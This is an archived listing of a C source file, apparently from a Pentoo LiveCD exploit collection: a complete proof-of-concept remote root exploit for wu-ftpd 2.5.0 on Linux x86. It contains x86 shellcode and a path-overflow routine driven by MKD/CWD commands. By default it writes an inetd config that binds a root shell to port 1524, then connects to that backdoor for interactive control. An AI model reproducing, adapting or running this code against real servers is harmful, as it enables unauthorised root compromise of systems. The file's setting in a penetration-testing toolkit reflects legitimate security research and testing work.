home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
ftp
/
wuftpd
/
wu250.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
12KB
|
480 lines
/*
* Copyright (c) 1999 anathema <anathema@hack.co.za>. All rights reserved.
* -> PRIVATE. DO NOT DISTRIBUTE. <-
*
* wu-ftpd 2.5.0 proof-of-concept remote root exploit (linux x86)
* Tested against wu-ftpd2.5.0 default source compilation.
*
* As we don't perform any error checking in ftp_login(), you should
* not specify an invalid username, password or initial directory.
*
* You will need to obtain the correct offsets for each specific
* variant of wu-ftpd. Read the comments.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <stdarg.h>
#include <fcntl.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
/*
* You will almost certainly need to modify these for the specific
* wu-ftpd you are attempting to exploit.
*/
#define ADDR_MAPPEDPATH 0x8067360
#define ADDR_ERRCATCH_ST 0x8074f90
#define ADDR_ERRCATCH_FI 0x8074fa4
/*
* MAXPATHLEN is usually 1024.
*/
#define REMOTE_MAXPATHLEN 1024
#define FTP_PORT 21
#define BD_PORT 1524
#define RETPOS 255
#define PRLEN 164
/* #define VERBOSE */
/*
* Function prototypes.
*/
u_long resolve_host(u_char *);
void ftp_login(int, u_char *, u_char *, u_char *);
void send_data(int, u_char *, ...);
void recv_data(int, int);
void exploit(int, u_char *, u_int, u_int, u_int);
void surface_patterns(u_long);
void euphoric(u_long, u_char *, u_char *, u_char *, u_short, u_short,
u_int, int, u_char *);
char c0de[] =
"\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x64\x5b\x89\xd9\x80\xc1\x0f\x39"
"\xd9\x7c\x06\x80\x29\x04\x49\xeb\xf6\x29\xc0\x88\x43\x01\x88\x43\x08\x88\x43"
"\x10\x87\xf3\xb0\x0c\x8d\x5e\x07\xcd\x80\xb0\x27\x8d\x1e\x29\xc9\xcd\x80\x29"
"\xc0\xb0\x3d\xcd\x80\x29\xc0\xb0\x0c\x8d\x5e\x02\xcd\x80\x29\xc0\x88\x46\x03"
"\xb0\x3d\x8d\x5e\x02\xcd\x80\x29\xc0\x8d\x5e\x09\x89\x5b\x08\x89\x43\x0c\x88"
"\x43\x07\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80\xe8\x97"
"\xff\xff\xff\xff\xff\xff\x45\x45\x32\x32\x33\x32\x32\x33\x45\x33\x66\x6d\x72"
"\x33\x77\x6c";
u_long
resolve_host(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
addr.s_addr = inet_addr(host_name);
if (addr.s_addr == -1)
{
host_ent = gethostbyname(host_name);
if (!host_ent) return(0);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}
return(addr.s_addr);
}
void
ftp_login(int sock, u_char *user, u_char *pass, u_char *dir)
{
recv_data(sock, 1);
send_data(sock, "USER %s\n", user);
send_data(sock, "PASS %s\n", pass);
send_data(sock, "CWD %s\n", dir);
}
void
send_data(int sock, u_char *buf, ...)
{
u_char tmp_buf[4096];
va_list valist;
memset(tmp_buf, 0, sizeof(tmp_buf));
va_start(valist, buf);
vsnprintf(tmp_buf, sizeof(tmp_buf), buf, valist);
#ifdef VERBOSE
fprintf(stderr, "-> %s", tmp_buf);
#endif /* VERBOSE */
usleep(10000);
if (write(sock, tmp_buf, strlen(tmp_buf)) == -1)
{
perror("write");
close(sock);
exit(-1);
}
va_end(valist);
recv_data(sock, 1);
}
void
recv_data(int sock, int disp)
{
u_char tmp_buf[4096];
usleep(10000);
memset(tmp_buf, 0, sizeof(tmp_buf));
if (recv(sock, tmp_buf, sizeof(tmp_buf) - 1, 0) == -1)
{
if (disp)
{
perror("recv");
close(sock);
exit(-1);
}
}
if (disp) fprintf(stderr, ": %s\n", tmp_buf);
}
void
exploit(int sock, u_char *pwd, u_int dir_len, u_int p_len, u_int align)
{
u_long errcatch_st_addr = ADDR_ERRCATCH_ST;
u_long errcatch_fi_addr = ADDR_ERRCATCH_FI;
u_long mappedpath_addr = ADDR_MAPPEDPATH;
u_long append_addr = errcatch_st_addr;
u_char padding[4096];
u_char buf[25000];
u_int fill_tr = 0;
int i = 0, nl = 0;
errcatch_st_addr -= p_len;
errcatch_fi_addr += p_len;
append_addr += (p_len + align);
fill_tr = REMOTE_MAXPATHLEN / (dir_len + p_len);
#ifdef VERBOSE
fprintf(stderr,
"fill_tr == %d\n"
"errcatch_st_addr == 0x%lx && "
"errcatch_fi_addr == 0x%lx && "
"append_addr == 0x%lx\n",
fill_tr, errcatch_st_addr, errcatch_fi_addr, append_addr);
#endif /* VERBOSE */
memset(buf, 0, sizeof(buf));
memset(padding, 0, sizeof(padding));
memset(padding, 0x90, RETPOS - (p_len + align));
for (; i < fill_tr; i++)
{
send_data(sock, "MKD %s\n", padding);
send_data(sock, "CWD %s\n", padding);
}
memset(padding, 0, sizeof(padding));
memcpy(padding, c0de, strlen(c0de));
padding[strlen(padding)+1] = 0;
send_data(sock, "MKD %s\n", padding);
send_data(sock, "CWD %s\n", padding);
memcpy(buf, "CWD ", 4);
memset(buf + 4, 0x90, strlen(padding));
append_addr += (dir_len + (84 - p_len));
nl = strlen(buf) + 1;
for (i = nl; i < (nl + 84 - p_len); i += 4)
{
buf[i+0] = (errcatch_st_addr & 0xff);
buf[i+1] = (errcatch_st_addr >> 8) & 0xff;
buf[i+2] = (errcatch_st_addr >> 16) & 0xff;
buf[i+3] = (errcatch_st_addr >> 24) & 0xff;
}
nl = strlen(buf) + 1;
for (i = nl; i < (nl + (p_len - dir_len)); i += 4)
{
buf[i+0] = (mappedpath_addr & 0xff);
buf[i+1] = (mappedpath_addr >> 8) & 0xff;
buf[i+2] = (mappedpath_addr >> 16) & 0xff;
buf[i+3] = (mappedpath_addr >> 24) & 0xff;
}
i = strlen(buf) + 1;
buf[i++] = (errcatch_fi_addr & 0xff);
buf[i++] = (errcatch_fi_addr >> 8) & 0xff;
buf[i++] = (errcatch_fi_addr >> 16) & 0xff;
buf[i++] = (errcatch_fi_addr >> 24) & 0xff;
nl = strlen(buf) + 1;
for (i = nl; i < (nl + 8); i += 4)
{
buf[i+0] = (append_addr & 0xff);
buf[i+1] = (append_addr >> 8) & 0xff;
buf[i+2] = (append_addr >> 16) & 0xff;
buf[i+3] = (append_addr >> 24) & 0xff;
}
send_data(sock, "%s\n\n", buf);
}
void
surface_patterns(u_long dst_ip)
{
struct sockaddr_in sin;
u_char sock_buf[4096];
fd_set fds;
int sock;
fprintf(stderr, "Attempting to connect to backdoor..\n");
sleep(2);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
perror("socket allocation");
exit(-1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(BD_PORT);
sin.sin_addr.s_addr = dst_ip;
if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
perror("connecting to backdoor");
close(sock);
exit(-1);
}
fprintf(stderr, "owned\n");
for (;;)
{
FD_ZERO(&fds);
FD_SET(0, &fds); /* STDIN_FILENO */
FD_SET(sock, &fds);
if (select(255, &fds, NULL, NULL, NULL) == -1)
{
perror("select");
close(sock);
exit(-1);
}
memset(sock_buf, 0, sizeof(sock_buf));
if (FD_ISSET(sock, &fds))
{
if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
{
fprintf(stderr, "Connection closed by foreign host.\n");
close(sock);
exit(0);
}
fprintf(stderr, "%s", sock_buf);
}
if (FD_ISSET(0, &fds)) /* STDIN_FILENO */
{
read(0, sock_buf, sizeof(sock_buf) - 1);
write(sock, sock_buf, strlen(sock_buf));
}
}
/* NOTREACHED */
}
void
euphoric(u_long dst_ip, u_char *user, u_char *pass, u_char *dir,
u_short src_prt, u_short dst_prt, u_int align, int alt_cmd,
u_char *cmd)
{
struct sockaddr_in sin;
struct in_addr inaddr;
u_int dir_len;
int sock;
dir_len = (u_int)strlen(dir);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
perror("socket allocation");
exit(-1);
}
if (src_prt)
{
struct sockaddr_in min;
min.sin_family = AF_INET;
min.sin_port = htons(src_prt);
min.sin_addr.s_addr = INADDR_ANY;
if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1)
{
perror("bind");
close(sock);
exit(-1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons(dst_prt);
sin.sin_addr.s_addr = dst_ip;
if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
perror("connecting to ftp daemon");
close(sock);
exit(-1);
}
inaddr.s_addr = dst_ip;
fprintf(stderr,
"\nAttacking target `%s`:\n Auth: [%s:%s]\n Dir: [%s]\n",
inet_ntoa(inaddr), user, pass, dir);
/*
* Login to the FTP server.
* No error checking is done here, so you should make sure
* the login/pass/dir are valid before attempting to exploit.
*/
ftp_login(sock, user, pass, dir);
/*
* The game starts here.
*/
exploit(sock, dir, dir_len, (PRLEN + dir_len), align);
/*
* Now send the command we want executed to the FTP server.
*/
send_data(sock, "%s\n", cmd);
if (!alt_cmd)
{
/*
* If the user hasn't specified an alternative command, make
* the connection to the backdoor.
[2000]*/
surface_patterns(dst_ip);
/* NOTREACHED */
}
sleep(2);
fprintf(stderr, "Completed.\n");
exit(0);
}
void
usage(u_char *nomenclature)
{
fprintf(stderr,
"No.\nusage:\t%s dst_host|ip [ -u user ] [ -p pass ] [ -x dir ]\n\t"
"[ -s src_prt ] [ -d dst_prt ] [ -a align ] [ -c alt_cmd ]\n\n",
nomenclature);
exit(0);
}
int
main(int argc, char **argv)
{
u_long dst_ip = 0;
u_short src_prt = 0;
u_short dst_prt = FTP_PORT;
u_int align = 0;
u_char *user = "ftp";
u_char *pass = "-rewt@broken";
u_char *dir = "incoming";
u_char cmd[255];
int opt = 0;
int alt_cmd = 0;
if (argc < 2)
{
usage(argv[0]);
/* NOTREACHED */
}
dst_ip = resolve_host(argv[1]);
if (!dst_ip)
{
fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
exit(-1);
}
memset(cmd, 0, sizeof(cmd));
while ((opt = getopt(argc, argv, "u:p:x:s:d:a:c:")) != EOF)
{
switch(opt)
{
case 'u': /* username */
user = optarg;
break;
case 'p': /* password */
pass = optarg;
break;
case 'x': /* initial directory */
dir = optarg;
break;
case 's': /* source port */
src_prt = (u_short)atoi(optarg);
break;
case 'd': /* alternative dest port */
dst_prt = (u_short)atoi(optarg);
break;
case 'a': /* alignment */
align = (u_int)atoi(optarg);
break;
case 'c': /* alternative command */
strncpy(cmd, optarg, sizeof(cmd));
alt_cmd = 1;
break;
default:
usage(argv[0]);
/* NOTREACHED */
}
}
if (src_prt < 1024)
{
/*
* Must be root to bind() to a reserved source port.
[2000]*/
if (getuid() && geteuid())
{
fprintf(stderr, "Inadequate privileges\n");
exit(-1);
}
}
if (!alt_cmd)
{
/*
* Use the default command.
* If used, the exploit will automatically spawn a remote shell.
[2000]*/
strcpy(cmd, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >/tmp/x; /usr/sbin/inetd /tmp/x\n");
}
euphoric(dst_ip, /* destination address */
user, /* username */
pass, /* password */
dir, /* initial directory */
src_prt, /* source port */
dst_prt, /* destination port */
align, /* alignment */
alt_cmd, /* alternative command flag */
cmd); /* command to execute */
/* NOTREACHED */
}
/* www.hack.co.za [2000]*/